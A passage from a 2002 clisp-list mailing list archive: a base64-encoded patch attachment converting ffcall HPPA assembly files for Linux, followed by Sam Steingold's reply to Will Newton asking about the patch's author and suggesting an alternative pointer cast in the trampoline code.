RVhQT1JUIHRyYW1wLEVOVFJZLFBSSVZfTEVWPTMsUlROVkFMPUdSCi10cmFtcAorCS5sYWJlbCB0 cmFtcAogCS5QUk9DCiAJLkNBTExJTkZPIEZSQU1FPTY0LENBTExTLFNBVkVfUlAKIAkuRU5UUlkK QEAgLTMzLDcgKzI3LDcgQEAKIAkuUFJPQ0VORAogCS5hbGlnbiA0CiAJLkVYUE9SVCBqdW1wLEVO VFJZLFBSSVZfTEVWPTMsUlROVkFMPUdSCi1qdW1wCisJLmxhYmVsIGp1bXAKIAkuUFJPQwogCS5D QUxMSU5GTyBGUkFNRT0wLE5PX0NBTExTCiAJLkVOVFJZCi0tLSBmZmNhbGwtMS44Lm9yaWcvY2Fs bGJhY2svdHJhbXBvbGluZV9yL3RyYW1wLWhwcGEucworKysgZmZjYWxsLTEuOC9jYWxsYmFjay90 cmFtcG9saW5lX3IvdHJhbXAtaHBwYS5zCkBAIC05LDIwICs5LDE0IEBACiA7IG9uIHRoaXMgc29m dHdhcmUuCiA7CiAKLQkuU1BBQ0UgJFBSSVZBVEUkCi0JLlNVQlNQQSAkREFUQSQsUVVBRD0xLEFM SUdOPTgsQUNDRVNTPTMxCi0JLlNVQlNQQSAkQlNTJCxRVUFEPTEsQUxJR049OCxBQ0NFU1M9MzEs WkVSTyxTT1JUPTgyCi0JLlNQQUNFICRURVhUJAotCS5TVUJTUEEgJExJVCQsUVVBRD0wLEFMSUdO PTgsQUNDRVNTPTQ0Ci0JLlNVQlNQQSAkQ09ERSQsUVVBRD0wLEFMSUdOPTgsQUNDRVNTPTQ0LENP REVfT05MWQorCS5jb2RlCiAJLklNUE9SVCAkZ2xvYmFsJCxEQVRBCiAJLklNUE9SVCAkJGR5bmNh bGwsTUlMTElDT0RFCi0JLlNQQUNFICRURVhUJAotCS5TVUJTUEEgJENPREUkCisJLmNvZGUKIAog CS5hbGlnbiA0CiAJLkVYUE9SVCB0cmFtcF9yLEVOVFJZLFBSSVZfTEVWPTMsQVJHVzA9R1IsQVJH VzE9R1IKLXRyYW1wX3IKKwkubGFiZWwgdHJhbXBfcgogCS5QUk9DCiAJLkNBTExJTkZPIEZSQU1F PTAsTk9fQ0FMTFMKIAkuRU5UUlkKQEAgLTM2LDcgKzMwLDcgQEAKIAlkZXBpIDAsMzEsMiwlcjIx CiAJbGR3IDQoMCwlcjIxKSwlcjE5CiAJbGR3IDAoMCwlcjIxKSwlcjIxCi10cmFtcF9yXzIKKwku bGFiZWwgdHJhbXBfcl8yCiAJbGRzaWQgKDAsJXIyMSksJXIxCiAJbXRzcCAlcjEsJXNyMAogCWJl LG4gMCglc3IwLCVyMjEpCi0tLSBmZmNhbGwtMS44Lm9yaWcvY2FsbGJhY2svdmFjYWxsX3IvdmFj YWxsLWhwcGEucworKysgZmZjYWxsLTEuOC9jYWxsYmFjay92YWNhbGxfci92YWNhbGwtaHBwYS5z CkBAIC0xLDE4ICsxLDEyIEBACi0JLlNQQUNFICRQUklWQVRFJAotCS5TVUJTUEEgJERBVEEkLFFV QUQ9MSxBTElHTj04LEFDQ0VTUz0zMQotCS5TVUJTUEEgJEJTUyQsUVVBRD0xLEFMSUdOPTgsQUND RVNTPTMxLFpFUk8sU09SVD04MgotCS5TUEFDRSAkVEVYVCQKLQkuU1VCU1BBICRMSVQkLFFVQUQ9 MCxBTElHTj04LEFDQ0VTUz00NAotCS5TVUJTUEEgJENPREUkLFFVQUQ9MCxBTElHTj04LEFDQ0VT Uz00NCxDT0RFX09OTFkKKwkuY29kZQogCS5JTVBPUlQgJGdsb2JhbCQsREFUQQogCS5JTVBPUlQg JCRkeW5jYWxsLE1JTExJQ09ERQogOyBnY2NfY29tcGlsZWQuOgotCS5TUEFDRSAkVEVYVCQKLQku U1VCU1BBICRDT0RFJAorCS5jb2RlCiAKIAkuYWxpZ24gNAogCS5FWFBPUlQgX192YWNhbGxfcixF TlRSWSxQUklWX0xFVj0zLEFSR1cwPUdSLEFSR1cxPUdSLEFSR1cyPUdSLEFSR1czPUdSCi1fX3Zh Y2FsbF9yCisJLmxhYmVsIF9fdmFjYWxsX3IKIAkuUFJPQwogCS5DQUxMSU5GTyBGUkFNRT0xOTIs Q0FMTFMsU0FWRV9SUAogCS5FTlRSWQpAQCAtNTMsMjYgKzQ3LDI2IEBACiAJbGR3IC0yMTIoMCwl cjMwKSwlcjIKIAljb21pY2xyLD0gMSwlcjE5LDAKIAljb21pYiw8PixuIDIsJXIxOSxMJDAwMDYK LUwkMDA1NworCS5sYWJlbCBMJDAwNTcKIAlsZGIgLTE2MCgwLCVyMzApLCVyMTkKIAlibCBMJDAw NjUsMAogCWV4dHJzICVyMTksMzEsOCwlcjI4Ci1MJDAwMDYKKwkubGFiZWwgTCQwMDA2CiAJY29t aWIsPD4sbiAzLCVyMTksTCQwMDA4CiAJbGRiIC0xNjAoMCwlcjMwKSwlcjI4CiAJYmwgTCQwMDY1 LDAKIAlsZHcgLTIxMigwLCVyMzApLCVyMgotTCQwMDA4CisJLmxhYmVsIEwkMDAwOAogCWNvbWli LDw+LG4gNCwlcjE5LEwkMDAxMAogCWxkaCAtMTYwKDAsJXIzMCksJXIxOQogCWJsIEwkMDAwMyww CiAJZXh0cnMgJXIxOSwzMSwxNiwlcjI4Ci1MJDAwMTAKKwkubGFiZWwgTCQwMDEwCiAJY29taWIs PD4sbiA1LCVyMTksTCQwMDEyCiAJbGRoIC0xNjAoMCwlcjMwKSwlcjI4CiAJYmwgTCQwMDY1LDAK IAlsZHcgLTIxMigwLCVyMzApLCVyMgotTCQwMDEyCisJLmxhYmVsIEwkMDAxMgogCWNvbWliLD0s biA2LCVyMTksTCQwMDYwCiAJY29taWIsPSxuIDcsJXIxOSxMJDAwNjAKIAljb21pYiw9LG4gOCwl cjE5LEwkMDA2MApAQCAtODMsMTggKzc3LDE4IEBACiAJY29taWIsPD4sbiAxMiwlcjE5LEwkMDAy NAogCWxkbyAtMTUyKCVyMzApLCVyMTkKIAlmbGR3cyAtOCgwLCVyMTkpLCVmcjRMCi1MJDAwNjAK KwkubGFiZWwgTCQwMDYwCiAJYmwgTCQwMDAzLDAKIAlsZHcgLTE2MCgwLCVyMzApLCVyMjgKLUwk MDAyNAorCS5sYWJlbCBMJDAwMjQKIAljb21pYiw8PixuIDEzLCVyMTksTCQwMDI2CiAJbGRvIC0x NTIoJXIzMCksJXIxOQogCWZsZGRzIC04KDAsJXIxOSksJWZyNAotTCQwMDU5CisJLmxhYmVsIEwk MDA1OQogCWxkdyAtMTYwKDAsJXIzMCksJXIyOAogCWJsIEwkMDAwMywwCiAJbGR3IC0xNTYoMCwl cjMwKSwlcjI5Ci1MJDAwMjYKKwkubGFiZWwgTCQwMDI2CiAJY29taWNsciw8PiAxNCwlcjE5LDAK IAlibCxuIEwkMDA2MCwwCiAJY29taWIsPD4gMTUsJXIxOSxMJDAwNjUKQEAgLTEwMyw3ICs5Nyw3 IEBACiAJYmIsPj0sbiAlcjE5LDMxLEwkMDAzMQogCWxkdyAtMTc2KDAsJXIzMCksJXIyOAogCWJs LG4gTCQwMDAzLDAKLUwkMDAzMQorCS5sYWJlbCBMJDAwMzEKIAliYiw+PSAlcjE5LDMwLEwkMDA2 NQogCWxkdyAtMjEyKDAsJXIzMCksJXIyCiAJYmIsPj0gJXIxOSwyOCxMJDAwMzQKQEAgLTExMywy MiArMTA3LDIyIEBACiAJbGR3IC0xNzYoMCwlcjMwKSwlcjE5CiAJYmwgTCQwMDY1LDAKIAlsZGgg MCgwLCVyMTkpLCVyMjgKLUwkMDAzNworCS5sYWJlbCBMJDAwMzcKIAljb21pYiw8PiA0LCVyMTks TCQwMDY1CiAJbGR3IC0yMTIoMCwlcjMwKSwlcjIKIAlsZHcgLTE3NigwLCVyMzApLCVyMTkKIAli bCBMJDAwNjUsMAogCWxkdyAwKDAsJXIxOSksJXIyOAotTCQwMDM0CisJLmxhYmVsIEwkMDAzNAog CWNvbWliLD0gMCwlcjE5LEwkMDA2NQogCWxkdyAtMjEyKDAsJXIzMCksJXIyCiAJY29taWIsPDws biA4LCVyMTksTCQwMDY1CiAJY29taWIsPD4sbiAxLCVyMTksTCQwMDQyCi1MJDAwNjEKKwkubGFi ZWwgTCQwMDYxCiAJbGR3IC0xNzYoMCwlcjMwKSwlcjE5CiAJYmwgTCQwMDAzLDAKIAlsZGIgMCgw LCVyMTkpLCVyMjgKLUwkMDA0MgorCS5sYWJlbCBMJDAwNDIKIAljb21pYiw8PixuIDIsJXIxOSxM JDAwNDQKIAlsZHcgLTE3NigwLCVyMzApLCVyMTkKIAlsZGIgMCgwLCVyMTkpLCVyMjAKQEAgLTEz Niw3ICsxMzAsNyBAQAogCXpkZXAgJXIyMCwyMywyNCwlcjIwCiAJYmwgTCQwMDAzLDAKIAlvciAl cjIwLCVyMTksJXIyOAotTCQwMDQ0CisJLmxhYmVsIEwkMDA0NAogCWNvbWliLDw+IDMsJXIxOSxM JDAwNDYKIAlsZHcgLTE3NigwLCVyMzApLCVyMjEKIAlsZGIgMCgwLCVyMjEpLCVyMTkKQEAgLTE0 NywxMiArMTQxLDEyIEBACiAJb3IgJXIxOSwlcjIwLCVyMTkKIAlibCBMJDAwMDMsMAogCW9yICVy MTksJXIyMSwlcjI4Ci1MJDAwNDYKKwkubGFiZWwgTCQwMDQ2CiAJY29taWIsPSA0LCVyMTksTCQw MDYyCiAJbGR3IC0xNzYoMCwlcjMwKSwlcjIyCiAJY29taWIsPD4sbiA1LCVyMTksTCQwMDUwCiAJ bGRiIDQoMCwlcjIyKSwlcjI5Ci1MJDAwNjIKKwkubGFiZWwgTCQwMDYyCiAJbGRiIDAoMCwlcjIy KSwlcjE5CiAJbGRiIDEoMCwlcjIyKSwlcjIwCiAJbGRiIDIoMCwlcjIyKSwlcjIxCkBAIC0xNjQs NyArMTU4LDcgQEAKIAlvciAlcjE5LCVyMjEsJXIxOQogCWJsIEwkMDAwMywwCiAJb3IgJXIxOSwl cjIwLCVyMjgKLUwkMDA1MAorCS5sYWJlbCBMJDAwNTAKIAljb21pYiw8PiA2LCVyMTksTCQwMDUy CiAJbGR3IC0xNzYoMCwlcjMwKSwlcjIyCiAJbGRiIDAoMCwlcjIyKSwlcjE5CkBAIC0xODEsNyAr MTc1LDcgQEAKIAlsZGIgNSgwLCVyMjIpLCVyMjAKIAlibCBMJDAwNjMsMAogCXpkZXAgJXIxOSwy MywyNCwlcjE5Ci1MJDAwNTIKKwkubGFiZWwgTCQwMDUyCiAJY29taWIsPD4sbiA3LCVyMTksTCQw MDU0CiAJbGRiIDAoMCwlcjIyKSwlcjE5CiAJbGRiIDEoMCwlcjIyKSwlcjIwCkBAIC0yMDEsNyAr MTk1LDcgQEAKIAlvciAlcjE5LCVyMjAsJXIxOQogCWJsIEwkMDAwMywwCiAJb3IgJXIxOSwlcjIx LCVyMjkKLUwkMDA1NAorCS5sYWJlbCBMJDAwNTQKIAljb21pYiw8PiA4LCVyMTksTCQwMDY1CiAJ bGR3IC0yMTIoMCwlcjMwKSwlcjIKIAlsZHcgLTE3NigwLCVyMzApLCVyMjIKQEAgLTIyNCwxMSAr MjE4LDExIEBACiAJb3IgJXIxOSwlcjIwLCVyMTkKIAlsZGIgNygwLCVyMjIpLCVyMjAKIAlvciAl cjE5LCVyMjEsJXIxOQotTCQwMDYzCisJLmxhYmVsIEwkMDA2MwogCW9yICVyMTksJXIyMCwlcjI5 Ci1MJDAwMDMKKwkubGFiZWwgTCQwMDAzCiAJbGR3IC0yMTIoMCwlcjMwKSwlcjIKLUwkMDA2NQor CS5sYWJlbCBMJDAwNjUKIAlidiAwKCVyMikKIAlsZG8gLTE5MiglcjMwKSwlcjMwCiAJLkVYSVQK LS0tIGZmY2FsbC0xLjgub3JpZy90cmFtcG9saW5lL2NhY2hlLWhwcGEucworKysgZmZjYWxsLTEu OC90cmFtcG9saW5lL2NhY2hlLWhwcGEucwpAQCAtMSwxOCArMSwxMiBAQAotCS5TUEFDRSAkUFJJ VkFURSQKLQkuU1VCU1BBICREQVRBJCxRVUFEPTEsQUxJR049OCxBQ0NFU1M9MzEKLQkuU1VCU1BB ICRCU1MkLFFVQUQ9MSxBTElHTj04LEFDQ0VTUz0zMSxaRVJPLFNPUlQ9ODIKLQkuU1BBQ0UgJFRF WFQkCi0JLlNVQlNQQSAkTElUJCxRVUFEPTAsQUxJR049OCxBQ0NFU1M9NDQKLQkuU1VCU1BBICRD T0RFJCxRVUFEPTAsQUxJR049OCxBQ0NFU1M9NDQsQ09ERV9PTkxZCisJLmNvZGUKIAkuSU1QT1JU ICRnbG9iYWwkLERBVEEKIAkuSU1QT1JUICQkZHluY2FsbCxNSUxMSUNPREUKIDsgZ2NjX2NvbXBp bGVkLjoKLQkuU1BBQ0UgJFRFWFQkCi0JLlNVQlNQQSAkQ09ERSQKKwkuY29kZQogCiAJLmFsaWdu IDQKIAkuRVhQT1JUIF9fVFJfY2xlYXJfY2FjaGUsRU5UUlksUFJJVl9MRVY9MyxBUkdXMD1HUixB UkdXMT1HUgotX19UUl9jbGVhcl9jYWNoZQorCS5sYWJlbCBfX1RSX2NsZWFyX2NhY2hlCiAJLlBS T0MKIAkuQ0FMTElORk8gRlJBTUU9MCxOT19DQUxMUwogCS5FTlRSWQotLS0gZmZjYWxsLTEuOC5v cmlnL3RyYW1wb2xpbmUvcHJvdG8taHBwYS5zCisrKyBmZmNhbGwtMS44L3RyYW1wb2xpbmUvcHJv dG8taHBwYS5zCkBAIC0xLDE4ICsxLDEyIEBACi0JLlNQQUNFICRQUklWQVRFJAotCS5TVUJTUEEg JERBVEEkLFFVQUQ9MSxBTElHTj04LEFDQ0VTUz0zMQotCS5TVUJTUEEgJEJTUyQsUVVBRD0xLEFM SUdOPTgsQUNDRVNTPTMxLFpFUk8sU09SVD04MgotCS5TUEFDRSAkVEVYVCQKLQkuU1VCU1BBICRM SVQkLFFVQUQ9MCxBTElHTj04LEFDQ0VTUz00NAotCS5TVUJTUEEgJENPREUkLFFVQUQ9MCxBTElH Tj04LEFDQ0VTUz00NCxDT0RFX09OTFkKKwkuY29kZQogCS5JTVBPUlQgJGdsb2JhbCQsREFUQQog CS5JTVBPUlQgJCRkeW5jYWxsLE1JTExJQ09ERQogOyBnY2NfY29tcGlsZWQuOgotCS5TUEFDRSAk VEVYVCQKLQkuU1VCU1BBICRDT0RFJAorCS5jb2RlCiAKIAkuYWxpZ24gNAogCS5FWFBPUlQgdHJh bXAsRU5UUlksUFJJVl9MRVY9MyxSVE5WQUw9R1IKLXRyYW1wCisJLmxhYmVsIHRyYW1wCiAJLlBS T0MKIAkuQ0FMTElORk8gRlJBTUU9NjQsQ0FMTFMsU0FWRV9SUAogCS5FTlRSWQpAQCAtMzUsNyAr MjksNyBAQAogCS5QUk9DRU5ECiAJLmFsaWduIDQKIAkuRVhQT1JUIGp1bXAsRU5UUlksUFJJVl9M RVY9MyxSVE5WQUw9R1IKLWp1bXAKKwkubGFiZWwganVtcAogCS5QUk9DCiAJLkNBTExJTkZPIEZS QU1FPTAsTk9fQ0FMTFMKIAkuRU5UUlkKLS0tIGZmY2FsbC0xLjgub3JpZy90cmFtcG9saW5lL3Ry YW1wLWhwcGEucworKysgZmZjYWxsLTEuOC90cmFtcG9saW5lL3RyYW1wLWhwcGEucwpAQCAtOSwy MCArOSwxNCBAQAogOyBvbiB0aGlzIHNvZnR3YXJlLgogOwogCi0JLlNQQUNFICRQUklWQVRFJAot CS5TVUJTUEEgJERBVEEkLFFVQUQ9MSxBTElHTj04LEFDQ0VTUz0zMQotCS5TVUJTUEEgJEJTUyQs UVVBRD0xLEFMSUdOPTgsQUNDRVNTPTMxLFpFUk8sU09SVD04MgotCS5TUEFDRSAkVEVYVCQKLQku U1VCU1BBICRMSVQkLFFVQUQ9MCxBTElHTj04LEFDQ0VTUz00NAotCS5TVUJTUEEgJENPREUkLFFV QUQ9MCxBTElHTj04LEFDQ0VTUz00NCxDT0RFX09OTFkKKwkuY29kZQogCS5JTVBPUlQgJGdsb2Jh bCQsREFUQQogCS5JTVBPUlQgJCRkeW5jYWxsLE1JTExJQ09ERQotCS5TUEFDRSAkVEVYVCQKLQku U1VCU1BBICRDT0RFJAorCS5jb2RlCiAKIAkuYWxpZ24gNAogCS5FWFBPUlQgdHJhbXAsRU5UUlks UFJJVl9MRVY9MyxBUkdXMD1HUixBUkdXMT1HUgotdHJhbXAKKwkubGFiZWwgdHJhbXAKIAkuUFJP QwogCS5DQUxMSU5GTyBGUkFNRT0wLE5PX0NBTExTCiAJLkVOVFJZCkBAIC00MCw3ICszNCw3IEBA CiAJZGVwaSAwLDMxLDIsJXIyMQogCWxkdyA0KDAsJXIyMSksJXIxOQogCWxkdyAwKDAsJXIyMSks JXIyMQotdHJhbXBfMgorCS5sYWJlbCB0cmFtcF8yCiAJbGRzaWQgKDAsJXIyMSksJXIxCiAJbXRz cCAlcjEsJXNyMAogCWJlLG4gMCglc3IwLCVyMjEpCi0tLSBmZmNhbGwtMS44Lm9yaWcvdmFjYWxs L3ZhY2FsbC1ocHBhLnMKKysrIGZmY2FsbC0xLjgvdmFjYWxsL3ZhY2FsbC1ocHBhLnMKQEAgLTEs MTkgKzEsMTMgQEAKLQkuU1BBQ0UgJFBSSVZBVEUkCi0JLlNVQlNQQSAkREFUQSQsUVVBRD0xLEFM SUdOPTgsQUNDRVNTPTMxCi0JLlNVQlNQQSAkQlNTJCxRVUFEPTEsQUxJR049OCxBQ0NFU1M9MzEs WkVSTyxTT1JUPTgyCi0JLlNQQUNFICRURVhUJAotCS5TVUJTUEEgJExJVCQsUVVBRD0wLEFMSUdO PTgsQUNDRVNTPTQ0Ci0JLlNVQlNQQSAkQ09ERSQsUVVBRD0wLEFMSUdOPTgsQUNDRVNTPTQ0LENP REVfT05MWQorCS5jb2RlCiAJLklNUE9SVCAkZ2xvYmFsJCxEQVRBCiAJLklNUE9SVCAkJGR5bmNh bGwsTUlMTElDT0RFCiA7IGdjY19jb21waWxlZC46CiAJLklNUE9SVCB2YWNhbGxfZnVuY3Rpb24s REFUQQotCS5TUEFDRSAkVEVYVCQKLQkuU1VCU1BBICRDT0RFJAorCS5jb2RlCiAKIAkuYWxpZ24g NAogCS5FWFBPUlQgdmFjYWxsLEVOVFJZLFBSSVZfTEVWPTMsQVJHVzA9R1IsQVJHVzE9R1IsQVJH VzI9R1IsQVJHVzM9R1IKLXZhY2FsbAorCS5sYWJlbCB2YWNhbGwKIAkuUFJPQwogCS5DQUxMSU5G TyBGUkFNRT0xOTIsQ0FMTFMsU0FWRV9SUAogCS5FTlRSWQpAQCAtNTQsMjYgKzQ4LDI2IEBACiAJ bGR3IC0yMTIoMCwlcjMwKSwlcjIKIAljb21pY2xyLD0gMSwlcjE5LDAKIAljb21pYiw8PixuIDIs JXIxOSxMJDAwMDYKLUwkMDA1NworCS5sYWJlbCBMJDAwNTcKIAlsZGIgLTE2MCgwLCVyMzApLCVy MTkKIAlibCBMJDAwNjUsMAogCWV4dHJzICVyMTksMzEsOCwlcjI4Ci1MJDAwMDYKKwkubGFiZWwg TCQwMDA2CiAJY29taWIsPD4sbiAzLCVyMTksTCQwMDA4CiAJbGRiIC0xNjAoMCwlcjMwKSwlcjI4 CiAJYmwgTCQwMDY1LDAKIAlsZHcgLTIxMigwLCVyMzApLCVyMgotTCQwMDA4CisJLmxhYmVsIEwk MDAwOAogCWNvbWliLDw+LG4gNCwlcjE5LEwkMDAxMAogCWxkaCAtMTYwKDAsJXIzMCksJXIxOQog CWJsIEwkMDAwMywwCiAJZXh0cnMgJXIxOSwzMSwxNiwlcjI4Ci1MJDAwMTAKKwkubGFiZWwgTCQw MDEwCiAJY29taWIsPD4sbiA1LCVyMTksTCQwMDEyCiAJbGRoIC0xNjAoMCwlcjMwKSwlcjI4CiAJ YmwgTCQwMDY1LDAKIAlsZHcgLTIxMigwLCVyMzApLCVyMgotTCQwMDEyCisJLmxhYmVsIEwkMDAx MgogCWNvbWliLD0sbiA2LCVyMTksTCQwMDYwCiAJY29taWIsPSxuIDcsJXIxOSxMJDAwNjAKIAlj b21pYiw9LG4gOCwlcjE5LEwkMDA2MApAQCAtODQsMTggKzc4LDE4IEBACiAJY29taWIsPD4sbiAx MiwlcjE5LEwkMDAyNAogCWxkbyAtMTUyKCVyMzApLCVyMTkKIAlmbGR3cyAtOCgwLCVyMTkpLCVm cjRMCi1MJDAwNjAKKwkubGFiZWwgTCQwMDYwCiAJYmwgTCQwMDAzLDAKIAlsZHcgLTE2MCgwLCVy MzApLCVyMjgKLUwkMDAyNAorCS5sYWJlbCBMJDAwMjQKIAljb21pYiw8PixuIDEzLCVyMTksTCQw MDI2CiAJbGRvIC0xNTIoJXIzMCksJXIxOQogCWZsZGRzIC04KDAsJXIxOSksJWZyNAotTCQwMDU5 CisJLmxhYmVsIEwkMDA1OQogCWxkdyAtMTYwKDAsJXIzMCksJXIyOAogCWJsIEwkMDAwMywwCiAJ bGR3IC0xNTYoMCwlcjMwKSwlcjI5Ci1MJDAwMjYKKwkubGFiZWwgTCQwMDI2CiAJY29taWNsciw8 PiAxNCwlcjE5LDAKIAlibCxuIEwkMDA2MCwwCiAJY29taWIsPD4gMTUsJXIxOSxMJDAwNjUKQEAg LTEwNCw3ICs5OCw3IEBACiAJYmIsPj0sbiAlcjE5LDMxLEwkMDAzMQogCWxkdyAtMTc2KDAsJXIz MCksJXIyOAogCWJsLG4gTCQwMDAzLDAKLUwkMDAzMQorCS5sYWJlbCBMJDAwMzEKIAliYiw+PSAl cjE5LDMwLEwkMDA2NQogCWxkdyAtMjEyKDAsJXIzMCksJXIyCiAJYmIsPj0gJXIxOSwyOCxMJDAw MzQKQEAgLTExNCwyMiArMTA4LDIyIEBACiAJbGR3IC0xNzYoMCwlcjMwKSwlcjE5CiAJYmwgTCQw MDY1LDAKIAlsZGggMCgwLCVyMTkpLCVyMjgKLUwkMDAzNworCS5sYWJlbCBMJDAwMzcKIAljb21p Yiw8PiA0LCVyMTksTCQwMDY1CiAJbGR3IC0yMTIoMCwlcjMwKSwlcjIKIAlsZHcgLTE3NigwLCVy MzApLCVyMTkKIAlibCBMJDAwNjUsMAogCWxkdyAwKDAsJXIxOSksJXIyOAotTCQwMDM0CisJLmxh YmVsIEwkMDAzNAogCWNvbWliLD0gMCwlcjE5LEwkMDA2NQogCWxkdyAtMjEyKDAsJXIzMCksJXIy CiAJY29taWIsPDwsbiA4LCVyMTksTCQwMDY1CiAJY29taWIsPD4sbiAxLCVyMTksTCQwMDQyCi1M JDAwNjEKKwkubGFiZWwgTCQwMDYxCiAJbGR3IC0xNzYoMCwlcjMwKSwlcjE5CiAJYmwgTCQwMDAz LDAKIAlsZGIgMCgwLCVyMTkpLCVyMjgKLUwkMDA0MgorCS5sYWJlbCBMJDAwNDIKIAljb21pYiw8 PixuIDIsJXIxOSxMJDAwNDQKIAlsZHcgLTE3NigwLCVyMzApLCVyMTkKIAlsZGIgMCgwLCVyMTkp LCVyMjAKQEAgLTEzNyw3ICsxMzEsNyBAQAogCXpkZXAgJXIyMCwyMywyNCwlcjIwCiAJYmwgTCQw MDAzLDAKIAlvciAlcjIwLCVyMTksJXIyOAotTCQwMDQ0CisJLmxhYmVsIEwkMDA0NAogCWNvbWli LDw+IDMsJXIxOSxMJDAwNDYKIAlsZHcgLTE3NigwLCVyMzApLCVyMjEKIAlsZGIgMCgwLCVyMjEp LCVyMTkKQEAgLTE0OCwxMiArMTQyLDEyIEBACiAJb3IgJXIxOSwlcjIwLCVyMTkKIAlibCBMJDAw MDMsMAogCW9yICVyMTksJXIyMSwlcjI4Ci1MJDAwNDYKKwkubGFiZWwgTCQwMDQ2CiAJY29taWIs PSA0LCVyMTksTCQwMDYyCiAJbGR3IC0xNzYoMCwlcjMwKSwlcjIyCiAJY29taWIsPD4sbiA1LCVy MTksTCQwMDUwCiAJbGRiIDQoMCwlcjIyKSwlcjI5Ci1MJDAwNjIKKwkubGFiZWwgTCQwMDYyCiAJ bGRiIDAoMCwlcjIyKSwlcjE5CiAJbGRiIDEoMCwlcjIyKSwlcjIwCiAJbGRiIDIoMCwlcjIyKSwl cjIxCkBAIC0xNjUsNyArMTU5LDcgQEAKIAlvciAlcjE5LCVyMjEsJXIxOQogCWJsIEwkMDAwMyww CiAJb3IgJXIxOSwlcjIwLCVyMjgKLUwkMDA1MAorCS5sYWJlbCBMJDAwNTAKIAljb21pYiw8PiA2 LCVyMTksTCQwMDUyCiAJbGR3IC0xNzYoMCwlcjMwKSwlcjIyCiAJbGRiIDAoMCwlcjIyKSwlcjE5 CkBAIC0xODIsNyArMTc2LDcgQEAKIAlsZGIgNSgwLCVyMjIpLCVyMjAKIAlibCBMJDAwNjMsMAog CXpkZXAgJXIxOSwyMywyNCwlcjE5Ci1MJDAwNTIKKwkubGFiZWwgTCQwMDUyCiAJY29taWIsPD4s biA3LCVyMTksTCQwMDU0CiAJbGRiIDAoMCwlcjIyKSwlcjE5CiAJbGRiIDEoMCwlcjIyKSwlcjIw CkBAIC0yMDIsNyArMTk2LDcgQEAKIAlvciAlcjE5LCVyMjAsJXIxOQogCWJsIEwkMDAwMywwCiAJ b3IgJXIxOSwlcjIxLCVyMjkKLUwkMDA1NAorCS5sYWJlbCBMJDAwNTQKIAljb21pYiw8PiA4LCVy MTksTCQwMDY1CiAJbGR3IC0yMTIoMCwlcjMwKSwlcjIKIAlsZHcgLTE3NigwLCVyMzApLCVyMjIK QEAgLTIyNSwxMSArMjE5LDExIEBACiAJb3IgJXIxOSwlcjIwLCVyMTkKIAlsZGIgNygwLCVyMjIp LCVyMjAKIAlvciAlcjE5LCVyMjEsJXIxOQotTCQwMDYzCisJLmxhYmVsIEwkMDA2MwogCW9yICVy MTksJXIyMCwlcjI5Ci1MJDAwMDMKKwkubGFiZWwgTCQwMDAzCiAJbGR3IC0yMTIoMCwlcjMwKSwl cjIKLUwkMDA2NQorCS5sYWJlbCBMJDAwNjUKIAlidiAwKCVyMikKIAlsZG8gLTE5MiglcjMwKSwl cjMwCiAJLkVYSVQK --------------Boundary-00=_PRNKBPBJ81PVVLPBLR3R-- From samuel.steingold@verizon.net Mon Jul 01 10:04:57 2002 Received: from h023.c001.snv.cp.net ([209.228.32.138] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17P4bg-0002Vl-00 for ; Mon, 01 Jul 2002 10:04:56 -0700 Received: (cpmta 15390 invoked from network); 1 Jul 2002 10:04:50 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.138) with SMTP; 1 Jul 2002 10:04:50 -0700 X-Sent: 1 Jul 2002 17:04:50 GMT To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Linux/HPPA fix References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 55 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 1 10:05:22 2002 X-Original-Date: 01 Jul 2002 13:04:48 -0400 > * In message > * On the subject of "[clisp-list] Linux/HPPA fix" > * Sent on Mon, 1 Jul 2002 14:21:25 +0100 > * Honorable Will Newton writes: > > The attached patches should allow clisp to build a bit better on HPPA. > The author of the patch (LaMont Jones, HP Linux developer) says the what's his e-mail? > patch should not affect the HPUX build so is "suitable for upstream". > I do not have an HPUX machine to test with, but LaMont knows what he > is talking about with HP systems. The second patch is a compiler bug > workaround, which I may have forwarded before. I don't think I have seen this. > --- ffcall-1.8.orig/callback/trampoline_r/trampoline.c > +++ ffcall-1.8/callback/trampoline_r/trampoline.c > @@ -793,12 +793,14 @@ > * .long > * .long
> */ > - *(long *) (function + 0) = ((long *) ((char*)&tramp_r-2))[0]; > - *(long *) (function + 4) = (long) (function + 8); > - *(long *) (function + 8) = (long) data; > - *(long *) (function +12) = (long) address; > + { void *foo=&tramp_r; > + *(long *) (function + 0) = ((long *) ((char*)foo-2))[0]; > + *(long *) (function + 4) = (long) (function + 8); > + *(long *) (function + 8) = (long) data; > + *(long *) (function +12) = (long) address; > + } > #define is_tramp(function) \ > - ((long *) function)[0] == ((long *) ((char*)&tramp_r-2))[0] > + { void *foo=&tramp_r; *((long *) function) == *((long *) ((char*)foo-2)); } > #define tramp_address(function) \ > ((long *) function)[3] > #define tramp_data(function) \ shouldn't replacing ((char*)&tramp_r-2) with (((char*)(&tramp_r))-2) work too? > --- ffcall-1.8.orig/avcall/avcall-hppa.s > +++ ffcall-1.8/avcall/avcall-hppa.s Do I understand correctly that both of these patches are his? thanks a lot! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux (let ((a "(let ((a %c%s%c)) (format a 34 a 34))")) (format a 34 a 34)) From hin@van-halen.alma.com Tue Jul 02 08:22:54 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17PPUT-0006oQ-00 for ; Tue, 02 Jul 2002 08:22:53 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g62FMoLs028431 for ; Tue, 2 Jul 2002 11:22:50 -0400 Received: (from 